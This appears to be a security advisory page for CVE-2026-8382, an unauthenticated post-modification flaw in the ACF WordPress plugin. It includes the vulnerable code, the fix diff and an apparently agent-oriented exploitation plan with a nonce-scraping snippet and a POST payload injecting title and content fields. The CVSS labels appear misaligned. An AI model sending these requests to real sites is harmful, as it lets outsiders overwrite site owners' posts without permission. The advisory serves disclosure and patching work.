CVE-2026-8382

Advanced Custom Fields (ACF®) <= 6.8.1 - Unauthenticated Arbitrary Post Modification via Front-End Form '_post_title' and '_post_content' Parameters

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
6.8.2
Patched in
1d
Time to patch

Description

The Advanced Custom Fields (ACF®) plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 6.8.1. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to overwrite the post_title and post_content of any post bound to a publicly accessible acf_form() instance by injecting values into the _post_title and _post_content parameters of a form submission request.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=6.8.1
PublishedMay 30, 2026
Last updatedMay 31, 2026
Affected pluginadvanced-custom-fields

What Changed in the Fix

Changes introduced in v6.8.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-8382 (ACF Post Modification) ## 1. Vulnerability Summary The Advanced Custom Fields (ACF) plugin (<= 6.8.1) contains a missing authorization vulnerability in its front-end form handling logic. While `acf_form()` is designed to allow developers to create limite…

Show full research plan

Exploitation Research Plan: CVE-2026-8382 (ACF Post Modification)

1. Vulnerability Summary

The Advanced Custom Fields (ACF) plugin (<= 6.8.1) contains a missing authorization vulnerability in its front-end form handling logic. While acf_form() is designed to allow developers to create limited front-end editing interfaces, the processing logic in includes/forms/form-front.php fails to verify if the specific fields _post_title and _post_content were intended to be part of the form configuration. An unauthenticated attacker can inject these parameters into a legitimate form submission to modify the title and content of the post associated with that form.

2. Attack Vector Analysis

  • Endpoint: The URL of any public-facing page where acf_form() is rendered.
  • Vulnerable Action: POST request to the page URL containing ACF form submission data.
  • Parameters: acf[_post_title] and acf[_post_content].
  • Authentication: None (unauthenticated), provided the page containing the form is public.
  • Preconditions: A post must be "bound" to a front-end acf_form(). This happens when acf_form() is called with a specific post_id or when it defaults to the current loop's post.

3. Code Flow

  1. Entry Point: When a user submits an ACF form, the request is processed during WordPress initialization (typically wp_loaded).
  2. Registration: In includes/forms/form-front.php, acf_form_front::validate_save_post() is called via the acf/validate_save_post hook.
  3. Field Injection: validate_save_post() calls get_default_fields(), which returns definitions for _post_title and _post_content.
  4. Local Field Registration: The function iterates through these defaults. If $_POST['acf']['_post_title'] is set, it calls acf_add_local_field(). This effectively "whitelists" the injected field for the current request execution.
  5. Processing: Later, acf_form_front::pre_save_post() is triggered via the acf/pre_save_post filter.
  6. Data Extraction: Inside pre_save_post(), the code checks isset( $_POST['acf']['_post_title'] ). If present, it extracts the value using acf_extract_var() and assigns it to $save['post_title'].
  7. Post Update: The $save array is eventually passed to wp_update_post(), committing the changes to the database.

4. Nonce Acquisition Strategy

ACF front-end forms require a nonce for submission. The nonce and form configuration are rendered into the HTML.

  1. Identify the Form: Navigate to the page containing the acf_form().
  2. Scrape Nonce and Settings:
    • The nonce is stored in a hidden input field: <input type="hidden" name="_acf_nonce" value="[NONCE_VALUE]">.
    • The encrypted/encoded form settings are in: <input type="hidden" name="_acf_form" value="[ENCODED_SETTINGS]">.
  3. Browser Evaluation:
    // Extract via browser_eval
    const data = {
        nonce: document.querySelector('input[name="_acf_nonce"]')?.value,
        form: document.querySelector('input[name="_acf_form"]')?.value
    };
    return data;
    
  4. Note: The nonce action used by ACF for front-end forms is typically generated internally based on the form arguments. Since we are scraping it from a legitimate rendering, the action will match.

5. Exploitation Strategy

  1. Preparation: Identify a public page with an acf_form. Let's assume the URL is http://localhost:8080/submit-ticket/.
  2. Capture Credentials: Navigate to the page and extract the _acf_nonce and _acf_form values.
  3. Formulate Payload:
    • _acf_nonce: [Extracted Value]
    • _acf_form: [Extracted Value]
    • acf[_post_title]: VANDALIZED BY CVE-2026-8382
    • acf[_post_content]: This post content has been modified via unauthenticated parameter injection.
  4. Execute Request: Use http_request to send a POST request to the page URL.
    • Method: POST
    • Content-Type: application/x-www-form-urlencoded
    • Body: _acf_nonce=[NONCE]&_acf_form=[FORM]&acf[_post_title]=Vandalized&acf[_post_content]=Pwned
  5. Verify: Check if the post title has changed.

6. Test Data Setup

To simulate a vulnerable environment:

  1. Create a Target Post:
    wp post create --post_type=post --post_title="Original Title" --post_content="Original Content" --post_status=publish
    # Assume this returns ID 123
    
  2. Create a Public Form Page: Use a PHP snippet (e.g., via a custom page template or a plugin that allows PHP) to call acf_form().
    // Example PHP to be placed in a page template
    acf_form_head(); // Required at the top of the file
    acf_form([
        'post_id' => 123,
        'fields'  => [], // Intentionally empty to show that injection works regardless of displayed fields
        'submit_value' => 'Update'
    ]);
    
  3. Ensure Accessibility: Ensure the page is published and accessible to logged-out users.

7. Expected Results

  • The http_request should return a 302 Redirect (standard ACF behavior after successful submission) or a 200 OK with a "Post updated" message.
  • The post with the target ID should have its post_title changed to the injected value.

8. Verification Steps

  1. Check Post State:
    wp post get 123 --field=post_title
    wp post get 123 --field=post_content
    
  2. Confirmation: If the output matches the injected payload, the vulnerability is confirmed.

9. Alternative Approaches

  • Honeypot Bypass: If the form fails, check if the honeypot _validate_email (found in get_default_fields()) is causing a rejection. Ensure acf[_validate_email] is sent as an empty string or omitted.
  • Query String Nonce: Some ACF configurations might look for the nonce in the URL if not in the POST body, though this is rare for forms.
  • Multiple Form IDs: If a page has multiple acf_form() calls, ensure the _acf_form settings parameter matches the specific form instance targeting the desired post_id.
Research Findings
Static analysis — not yet PoC-verified

Summary

Advanced Custom Fields (ACF) up to 6.8.1 is vulnerable to unauthenticated post modification. This occurs because front-end forms (acf_form) do not verify if internal fields like '_post_title' and '_post_content' are explicitly enabled in the form configuration, allowing attackers to inject these parameters and overwrite post data.

Vulnerable Code

/* includes/forms/form-front.php:236 */
function validate_save_post() {

	// register field if isset in $_POST
	foreach ( $this->get_default_fields() as $k => $field ) {

		// bail early if no in $_POST
		if ( ! isset( $_POST['acf'][ $k ] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Verified elsewhere.
			continue;
		}

		// register
		acf_add_local_field( $field );
	}
---
/* includes/forms/form-front.php:278 */
function pre_save_post( $post_id, $form ) {
	// ...
	// save post_title
	if ( isset( $_POST['acf']['_post_title'] ) ) {
		$save['post_title'] = acf_extract_var( $_POST['acf'], '_post_title' ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitized by WP when saved.
	}

	// save post_content
	if ( isset( $_POST['acf']['_post_content'] ) ) {
		$save['post_content'] = acf_extract_var( $_POST['acf'], '_post_content' ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitized by WP when saved.
	}
	// ...

Security Fix

--- includes/forms/form-front.php
+++ includes/forms/form-front.php
@@ -278,11 +278,11 @@
 			// phpcs:disable WordPress.Security.NonceVerification.Missing -- Verified in check_submit_form().
 			// save post_title
-			if ( isset( $_POST['acf']['_post_title'] ) ) {
+			if ( isset( $_POST['acf']['_post_title'] ) && ! empty( $form['post_title'] ) ) {
 				$save['post_title'] = acf_extract_var( $_POST['acf'], '_post_title' ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitized by WP when saved.
 			}
 
 			// save post_content
-			if ( isset( $_POST['acf']['_post_content'] ) ) {
+			if ( isset( $_POST['acf']['_post_content'] ) && ! empty( $form['post_content'] ) ) {
 				$save['post_content'] = acf_extract_var( $_POST['acf'], '_post_content' ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitized by WP when saved.
 			}

Exploit Outline

1. Identify a public WordPress page that renders an ACF front-end form using acf_form(). 2. Extract the required hidden field values from the HTML source: `_acf_nonce` (the security token) and `_acf_form` (the encoded form configuration). 3. Prepare a POST request to the page's URL containing the extracted `_acf_nonce` and `_acf_form` values. 4. Inject the malicious parameters `acf[_post_title]` and `acf[_post_content]` into the POST body with the desired modified content. 5. Send the request. The plugin processes the submission, identifies the injected fields as 'default' fields, and updates the post associated with the form ID regardless of whether the developer intended to allow title or content edits.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.